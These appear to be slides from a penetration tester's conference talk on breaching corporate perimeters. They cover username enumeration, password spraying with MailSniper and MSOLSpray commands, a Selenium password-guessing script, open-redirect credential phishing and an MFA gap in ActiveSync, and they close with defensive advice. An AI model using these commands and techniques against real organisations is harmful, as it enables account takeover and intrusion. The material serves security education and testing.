

How we hacked your billion-dollar company for forty-two bucks

or, getting a foothold inside the perimeter

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Outline

about me

background

four cases where the client thought the perimeter was fine

... and why it was not fine

absolutely no Cobalt Strike

questions



curriculum vitae – '95 to present

maths / CS degree

adequate C++/Java developer

sysadmin / blue team

penetration tester since 2010

passed CCSAS 2014 & CSAM 2015, didn't actually do RT
til 2018, so relative newcomer



composition of a red team (brief digression / rant)

it can seem a bit like “all you need to start doing RT is 2 years experience doing RT”

obviously, you need to balance training newer people with delivering a good service

but equally, new people bring in new ideas



Preamble

“... there are people who will try anything to secure their networks, except design them correctly, control the access levels within them, segment their networks, understand their traffic, and monitor things closely.” – Marcus J Ranum, Silver Bullet Podcast

but of course, everyone is under pressure to deliver new things and little time is left to check things are as they should be.




Objective

/ Threat Model

Try all the possible ways to compromise the client

Stop when one works

subvert (v) : to undermine the principles of; corrupt.





Can you be a bit more specific?

The perimeter is permeable:

- email goes in and out
- web traffic goes out and in (from corp to Internet)
- web traffic goes in and out (from Internet to “DMZ”)
- VPNs, helpdesk services – specially password reset, cloud auth, Citrix, file exchange, dev boxes, etc.

Can we chain issues to get in ? spoiler: yes, in 4/5 cases



How to compromise the target

Physical?
I'm too lazy / COVID

0-days? Too hard

Dropped USB sticks?
Risky and ineffective

In-house web apps

Misconfigured/forgotten
assets

Unforeseen interactions



Issues are rarely independent of each other



(a good hold which you can't reach, isn't any use; a bad hold can be enough to move up)



What we needed

- VPS or other Linux box on the Internet (~8\$/month)
- Domain name (~10 USD a pop)
- AWS account for Fireprox (couple of bucks / month)
- scripting language
- Google
- patience
- caffeine not included

COFFEE beans Costa Rica

£18.42

0.921 kg x 20.00

Usage charges for September 2021	\$6.72
Tax (VAT United Kingdom (20.00%))	\$1.34
Total	\$8.06
Amount paid	\$8.06



Defining some terms: User Enumeration

Term used where some function confirms a username is valid or not:

- password reset : doesn't exist vs. we sent you email
- timing attacks : valid user details need to be looked up
- for example office.com / MSOL login

We just need some observable difference.



Sign in

This username may be incorrect. Make sure that you typed it correctly. Otherwise, contact your admin.

jeff.notexist@ioactive.com|

View Saved Logins



Password spraying

First, find a lot of valid user IDs

Try e.g. “Winter2021!” against each in turn

When finished, think of a new password guess

Evades naïve AD lockout counter (N tries / user / time)

May need Fireprox to evade rate limiting e.g. on MSOL

MonthYear, SeasonYear!, Welcome123, Trump2020, etc.



First example - TAHI.com

On premise Exchange, circa 10k users.

OSINT / FOCA got examples that looked like user IDs

Helpdesk web page allowed enumeration of users

e.g. ID01234567 – bash script to create ID0123????

Password spraying via SprayingToolkit / MailSniper



TAHI – Username Enum via OWA

```
PS MailSniper> Invoke-UsernameHarvestOWA -  
ExchHostname mail.tahi.com -Domain TAHI -UserList  
tahi-users.txt -Threads 3 -outfile actualusers.txt
```

```
[*] Now spraying the OWA portal at  
https://mail.tahi.com/owa/
```

```
Determining baseline response time...
```

Response Time (MS)	Domain\Username
3700	TAHI\efgHbJ

```
[*] Potentially Valid! User:TAHI\u13301  
983 TAHI\u13301
```



TAHI – OWA and EWS Spraying

```
PS MailSniper> Invoke-PasswordSprayOWA -  
ExchHostname mail.tahi.com -UserList .\userlist.txt  
-Password Spring2021! -Threads 5 -OutFile sprayed-  
owa-creds.txt
```

[EWS is EXCHANGE WEB SERVICES]

```
PS MailSniper> Invoke-PasswordSprayEWS -  
ExchHostname mail.domain.com -UserList  
.\userlist.txt -Password Spring2021 -Threads 15 -  
OutFile sprayed-ews-creds.txt
```



Patience needed, but not that difficult

Started using MailSniper to enumerate on 16th of the month;
Got nearly 1,000 valid users.

List used for password spraying – evading standard AD lockout
On 22nd of the month, two passwords were obtained.

OWA did not have 2 Factor Auth; we're in.

Internal mail filtering a lot less restrictive than from outside

Drop a custom implant in a reply, ask victim to open.



Second example - RUA.com

Used FOCA to establish a few examples (“jsmith”)
MSOLSpray.py w/ fireprox used to trawl through
generated candidates

(<https://americansurnames.us/top-surnames>)

Oh no! – login involves redirect to on-prem IDP / ADFS
MSOLSpray.py gives existence, but **does not confirm
correct password**

Needed to think how to fix that.



Tools – MSOLSpray.py

```
$ python3 MSOLSpray.py -v --userlist userguesses.txt --  
password "November2021!" --sleep 10 --url  
https://c5go9url1a.execute-api.us-east-  
1.amazonaws.com/fireprox
```

Now spraying Microsoft Online.

Current date and time: Mon Oct 26 06:13:49 2020

WARNING! The user asmith@rua.com doesn't exist.

VERBOSE: Invalid username or password.

Username: jsmith@rua.com could exist.

..



Selenium & Python to the rescue

We drive the browser through the whole process, step by step.

```
#wait for page redirect
element = WebDriverWait(driver, 10).until( EC.presence_of_element_located((By.ID, "i0118")))

password_box = driver.find_element_by_id("i0118")
password_box.clear()
password_box.send_keys(pw) < WRITE IN PASSWORD, HIT ENTER
password_box.send_keys(Keys.RETURN)


time.sleep(20)

try:
    time.sleep(2)
    content = driver.find_element_by_id('passwordError')
    txtContent = content.text

    if re.search("Your account or password is incorrect", txtContent):
        print("Unknown user or password "+un+"/"+pw)
        lh.write("Unknown user or password "+un+"/"+pw+"\n")
    else:
        lh.write("Success ? "+un+"/"+pw+"\n")
        print("Success ? "+un+"/"+pw) < NO PASSWD ERROR, SUCCESS ?
except NoSuchElementException:
    lh.write("SUCCESS ? NoSuchElementException as passwordError ? "+un+"/"+pw+"\n")
    traceback.print_exc(file=sys.stdout)
    traceback.print_exc(file=lh)
```



DEMO





Back to RUA

Using OSINT we got some example UIDs and generalised
Using MSOLSpray we got a couple of thousands of
usernames

Using selenium we got correct passwords for maybe 10
2FA had been enabled, with registration on FIRST LOGIN
Nature of business meant a lot of staff had not logged in
We registered our own 2FA, logged into a Citrix desktop



Username enumeration

FOCA says
“jbloggs” /
“joe.bloggs”

- get lists of common firstnames, surnames and build yourself a target list

FOCA says
U01234567

- try a few ranges near to the UIDs you find.

FOCA says jbl743

- you might be out of luck ; search space is too big and too sparse



Third example - TORU.com

Open URL redirect in holiday booking app

[THANK YOU SIMON]

Had already guessed two creds but needed more privs

Hosted a cloned page, but with “wrong password” error

The phishing email gave a legitimate page with ?url=phish

`https://pto.toru.com/login?url=https://pto-toru.com/phishing`

“we’ve lost some recent holiday bookings, please check”



TORU

Users would get “[EXTERNAL]” in the Subject line
BUT the link was obviously to their own site

The real site: took username & password – redirect to
phishing page on SUCCESS

The phish site: “wrong creds, retry” – redirects back to a
valid logged in session

No-one even noticed they’d been phished

Let’s see that step by step if we’ve got time



ASUS Router Example; long since fixed

Same mechanics but without mentioning actual client.


“Please update the firmware on your ASUS router ! Visit http://router.asus.com/Main_Login.asp?page=//router-asus.com/ and press ‘Check’ to check for the updated firmware.”

(ASUS router resolves “router.asus.com” to 192.168.1.1)



ASUS router – the real page

Genuine
page loaded
from
phishing link,
at
router DOT
asus.com






Our Phishing Page

Upon successful
login, redirects
to fake ?page=
at our phishing
site

router DASH
asus


We log the input
Redirect back





Redirect back to valid session

We log creds,
victim gets
redirected
back into a
valid session
on the real
server, none
the wiser.





TORU

IT used a domain squatting service and blocked our URL on the corp proxy

But - middle of COVID so everyone was home

Also, a MAJOR holiday was coming up

We got about 12 sets of valid creds out of this,
(including some remote access)

No one even knew they'd been phished



Fourth example - RIMA.com

Hybrid AD – so again, password spraying against MSOL

User IDs were numeric again, “U01234567”

Found a few passwords, again MonthYear or SeasonYear!

Oh no, everything is 2FA.

Except for ActiveSync mail protocol (cf MFASweep)

Use Windows 10 Mail to send email from compromised user to another user



Tools: MFASweep

Once you have valid creds, MFASweep will

- try a bunch of MSOL services to see whether 2FA is in use
- suggest tools to exploit anything found
- lock the account out if you were wrong about the creds

MFA login might text someone, so be careful probing web logins





RIMA & Windows Mail

Filtering between internal mailboxes is less aggressive

Find a recent mail, reply to it and attach your custom implant

“Can you open this?”





“Defenders think in lists, attackers think in graphs”

A path through a graph is obvious in hindsight

Actually generating a path involves trial and error, and backtracking

(breadth-first search)





To stretch and analogy much too far, pause and admire the view for a minute



We just got code exec inside the perimeter, from zero



So ...

A combination of “minor” issues can be very serious

User enumeration exists in a lot of different places

Password spraying is a numbers game, so >1k valid users

Persevere if your first tries don't work.

Bigger companies can be easier – more surface area

Monitor everything. Log everything. Yes, in the cloud too.

Weak passwords need to be changed proactively.

Test your own stuff; someone else probably is already



Questions?

Tools: Spraying Toolkit, MailSniper, MFASweep
Selenium, Chrome, LyncSniper, MSOLSpray.py



References

<https://github.com/byt3bl33d3r/SprayingToolkit>

<https://github.com/dafthack/MailSniper>

<https://github.com/dafthack/MFASweep>

<https://blog.procircular.com/writing-custom-password-sprayers-with-selenium>

<https://github.com/mdsecresearch/LyncSniper>

<https://www.microsoft.com/security/blog/2020/04/23/protecting-organization-password-spray-attacks/>



Incomplete and in no particular order; Tech people I owe :

JOE H

DAVE L

JOHN O'

PETER G

MATT T

MARIE

KEITH

NICK R

SIMON

GLENN

LUKE T

ROY B

PETE

CHRIS W

OLIVER

DAVE L

TAU

NICK F

KTT

SENAD

MARIO

GRANT

DAVE F

ANDREW

ALEX B

GHOSTIE

WOODY

LAURENT

RKL

GEOFF

RICH W

HN/P

IOA

TAKESHI